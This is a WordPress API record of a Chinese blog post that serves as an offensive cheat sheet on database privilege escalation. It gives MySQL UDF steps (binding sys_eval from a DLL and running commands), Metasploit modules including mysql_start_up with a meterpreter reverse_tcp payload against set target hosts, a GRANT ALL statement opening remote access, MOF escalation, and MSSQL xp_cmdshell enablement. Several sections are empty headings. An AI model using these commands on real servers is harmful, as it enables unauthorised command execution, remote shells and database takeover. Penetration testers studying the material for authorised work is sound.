{"id":88,"date":"2024-04-19T10:00:00","date_gmt":"2023-06-08T02:00:00","guid":{"rendered":"http:\/\/123.207.45.199\/index.php\/2023\/06\/08\/%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87-%e6%95%b0%e6%8d%ae%e5%ba%93\/"},"modified":"2026-05-31T21:58:39","modified_gmt":"2026-05-31T13:58:39","slug":"%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87-%e6%95%b0%e6%8d%ae%e5%ba%93","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2024\/04\/19\/%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87-%e6%95%b0%e6%8d%ae%e5%ba%93\/","title":{"rendered":"\u6743\u9650\u63d0\u5347-\u6570\u636e\u5e93"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">MYSQL<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u6743\u6761\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6570\u636e\u5e93\u7684\u6700\u9ad8\u6743\u9650\u7528\u6237\u7684\u5bc6\u7801\nsecure_file_priv\u6ca1\u8fdb\u884c\u76ee\u5f55\u9650\u5236\nshow variables like '%secure_file_priv%';\n\n\u7f51\u7ad9\u5b58\u5728\u9ad8\u6743\u9650SQL\u6ce8\u5165\u70b9\n\u6570\u636e\u5e93\u7684\u5b58\u50a8\u6587\u4ef6\u6216\u5907\u4efd\u6587\u4ef6\n\u7f51\u7ad9\u5e94\u7528\u6e90\u7801\u4e2d\u7684\u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6\n\u91c7\u7528\u5de5\u5177\u6216\u811a\u672c\u7206\u7834\uff08\u9700\u89e3\u51b3\u5916\u8054\u95ee\u9898\uff09<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8d26\u6237\u5bc6\u7801\u83b7\u53d6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.\u901a\u8fc7\u6ce8\u5165\u70b9\n2.\u901a\u8fc7\u6587\u4ef6\nuser.MYD\/user.MYI\n3.\u7f51\u7ad9\u914d\u7f6e\u6587\u4ef6<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">UDF\u63d0\u6743<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u539f\u7406<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>UDF(Userdefined function)\u53ef\u7ffb\u8bd1\u4e3a\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570\uff0c\n\u5176\u4e3amysql\u7684\u4e00\u4e2a\u62d3\u5c55\u63a5\u53e3\uff0c\n\u53ef\u4ee5\u4e3amysql\u589e\u6dfb\u4e00\u4e9b\u51fd\u6570\u3002\n\n\u6bd4\u5982mysql\u4e00\u4e9b\u51fd\u6570\u6ca1\u6709\uff0c\u6211\u5c31\u4f7f\u7528UDF\u52a0\u5165\u4e00\u4e9b\u51fd\u6570\u8fdb\u53bb\uff0c\u90a3\u4e48\u6211\u5c31\u53ef\u4ee5\u5728mysql\u4e2d\u4f7f\u7528\u8fd9\u4e2a\u51fd\u6570\u4e86\u3002\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u542f\u5916\u8fde<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u65b9\u6cd5\u4e00:\n\u76f4\u63a5\u4fee\u6539\u8868\u5185\u5bb9=&gt;\u9700\u8981\u91cd\u542f=&gt;\u4e0d\u5efa\u8bae\n\n\u65b9\u6cd5\u4e8c:\nGRANT ALL PRIVILEGES ON *.* TO '\u5e10\u53f7'@'%' IDENTIFIED BY '\u5bc6\u7801' WITH GRANT OPTION;\n\u7528\u4e8e\u6388\u4e88\u6307\u5b9a\u7528\u6237\u5728\u6240\u6709\u6570\u636e\u5e93\u548c\u8868\u4e0a\u62e5\u6709\u6240\u6709\u6743\u9650\uff0c\u5e76\u4e14\u53ef\u4ee5\u5728\u4efb\u4f55\u4e3b\u673a\u4e0a\u8fde\u63a5\u5230MySQL\u670d\u52a1\u5668\n'%'\u662f\u901a\u914d\u7b26\uff0c\u4ee3\u8868\u53ef\u4ee5\u4ece\u4efb\u4f55\u4e3b\u673a\u8fde\u63a5\u5230MySQL\u670d\u52a1\u5668<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u7248\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>select version()#\u67e5\u7248\u672c\nselect @@basedir #\u67e5\u5b89\u88c5\u8def\u5f84\n\nUDF\u5bfc\u5165\u51fd\u6570\u7684\u6587\u4ef6\u4e3adll\u7c7b\u578b\uff0c\u5176\u5b58\u653e\u7684\u76ee\u5f55\u53d7\u7248\u672c\u5f71\u54cd\u5982\u4e0b\uff1a\n1.mysql&lt;5.2\tdll\u5bfc\u51fa\u76ee\u5f55c:\/windows\u6216system32\n2.mysq1&gt;=5.2 dll\u5bfc\u51fa %\u5b89\u88c5\u65e5\u5f55%\/lib\/plugin\/xxxx.DLL\n\u6ca1\u6709\u76ee\u5f55\u91c7\u7528\u624b\u5de5\u521b\u5efaplugin\u76ee\u5f55<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/1.\u67e5\u770b \u662f\u5426\u6709\u2018sys_exec\u2019\nselect * from mysql.func; \t\t\t\t\t\t\t\t\t\t\n\n\/\/2.\u521b\u5efa\u51fd\u6570\u7ed1\u5b9adll\ncreate function &lt;\u51fd\u6570\u540d&gt; returns string soname \"&lt;dll\u6587\u4ef6\u540d&gt;\";\t\t\ncreate function sys_eval returns string soname \"KaMeVAyW.dll\";\t\t\ndll\u6587\u4ef6\u5b58\u50a8\u5728MYSQL\/lib\/plugin\n\nDROP FUNCTION &lt;function_name&gt; #\u5220\u9664\u81ea\u5b9a\u4e49\u51fd\u6570\n\n\n\/\/3.\u8c03\u7528\u51fd\u6570\u8fdb\u884c\u547d\u4ee4\u6267\u884c\nselect sys_eval(\"whoami\");\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">msf<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4f7f\u7528MSF\u4e2d\u7684exploit\/multi\/mysql\/mysql_udf_payload \u6a21\u5757\u53ef\u4ee5\u8fdb\u884cUDF\u63d0\u6743,\n\nMSF\u4f1a\u5c06dll\u6587\u4ef6\u5199\u5165lib\\plugin\\\u76ee\u5f55\u4e0b(\u524d\u63d0\u662f\u8be5\u76ee\u5f55\u5b58\u5728\uff0c\u9700\u624b\u5de5\u521b\u5efa),\n\u8be5dll\u6587\u4ef6\u4e2d\u5305\u542bsys_exec()\u548csys_eval()\u4e24\u4e2a\u51fd\u6570\uff0c\n\n\nuse exploit\/multi\/mysql\/mysql_udf_payload\nset password root\nset rhosts 192.168.1.15\nrun\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u542f\u52a8\u9879\u63d0\u6743<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u5916\u8fde\t\u6570\u636e\u5e93\u6700\u9ad8\u6743\u9650\tsecure_file_priv=\t<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0a\u4f20\u6728\u9a6c\u5230\u542f\u52a8\u9879\u6587\u4ef6\u3002\u5f53\u7535\u8111\u91cd\u542f\u7684\u65f6\u5019\uff0c\u542f\u52a8\u9879\u6587\u4ef6\u88ab\u89e6\u53d1\u3002\u5b9e\u73b0\u4e0a\u7ebf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use exploit\/windows\/mysql\/mysql_start_up\nset payload windows\/meterpreter\/reverse_tcp\nset rhosts 192.168.88.131\nset username root\nset password root\nset AllowNoCleanup  true\nrun<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u53cd\u5f39shell\u547d\u4ee4<\/h4>\n\n\n\n<h3 class=\"wp-block-heading\">MOF\u63d0\u6743<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528windows\u6267\u884cmof\u6587\u4ef6<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u524d\u63d0<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>1.windows03\u53ca\u4ee5\u4e0b\u7248\u672c\n2.mysql\u6709\u8bfb\u5199c:\/windows\/system32\/wbem\/mof\u7684\u6743\u9650\n3.secure._fi1e_priv\u6ca1\u8fdb\u884c\u76ee\u5f55\u9650\u5236<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u5229\u7528<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>1.\u4e0a\u4f20\u51c6\u5907\u597d\u7684mof\u6587\u4ef6\n2.\u6267\u884c\u8bed\u53e5\u5bfc\u5165mof\u6587\u4ef6\n3.mof\u5b9e\u73b0<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u6536\u5c3e<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code><\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">MSSQL<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">xp_cmdshell\u63d0\u6743<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6761\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Xp_cmdshell\u9ed8\u8ba4\u5728mssql2000\u4e2d\u662f\u5f00\u542f\u7684\uff0c\u5728mssqL2005\u4e4b\u540e\u7684\u7248\u672c\u4e2d\u5219\u9ed8\u8ba4\u7981\u6b62\u3002\n\u5982\u679c\u7528\u6237\u62e5\u6709\u7ba1\u7406\u5458sa\u6743\u9650\u5219\u53ef\u4ee5\u7528sp_configure\u91cd\u4fee\u5f00\u542f\u5b83\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u88ab\u5173\u95ed\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6253\u5f00\u547d\u4ee4\nEXEC sp_configure 'show advanced options', 1\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\n\nEXEC master.dbo.xp_cmdshell 'whoami'\n\n\u5173\u95ed\u547d\u4ee4\nexec sp_configure 'show advanced options', 1;\nreconfigure;\nexec sp_configure 'xp_cmdshell', 0;\nreconfigure;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u88ab\u5220\u9664\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">sp_oacreate\u63d0\u6743<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">SQL Server\u6c99\u76d2\u63d0\u6743<\/h3>\n","protected":false},"excerpt":{"rendered":"<p>MYSQL \u63d0\u6743\u6761\u4ef6 \u8d26\u6237\u5bc6\u7801\u83b7\u53d6 UDF\u63d0\u6743 \u539f\u7406 \u5f00\u542f\u5916\u8fde \u67e5\u7248\u672c \u5229\u7528 msf \u542f\u52a8\u9879\u63d0\u6743 \u5916\u8fde \u6570\u636e\u5e93 &hellip; <\/p>\n","protected":false},"author":3,"featured_media":89,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-88","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-neiwang"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/88","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=88"}],"version-history":[{"count":3,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/88\/revisions"}],"predecessor-version":[{"id":140,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/88\/revisions\/140"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/89"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=88"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=88"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=88"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}